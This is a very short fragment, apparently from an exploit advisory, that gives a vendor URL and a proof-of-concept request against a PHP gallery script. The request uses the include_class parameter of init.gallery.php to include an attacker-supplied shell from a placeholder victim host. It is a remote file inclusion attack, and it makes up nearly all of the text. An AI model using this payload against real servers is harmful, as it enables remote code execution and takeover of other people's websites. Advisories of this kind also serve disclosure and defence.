vendor url: http://tomex.org/

http://[victim]/php/init.gallery.php?include_class=[SHELL]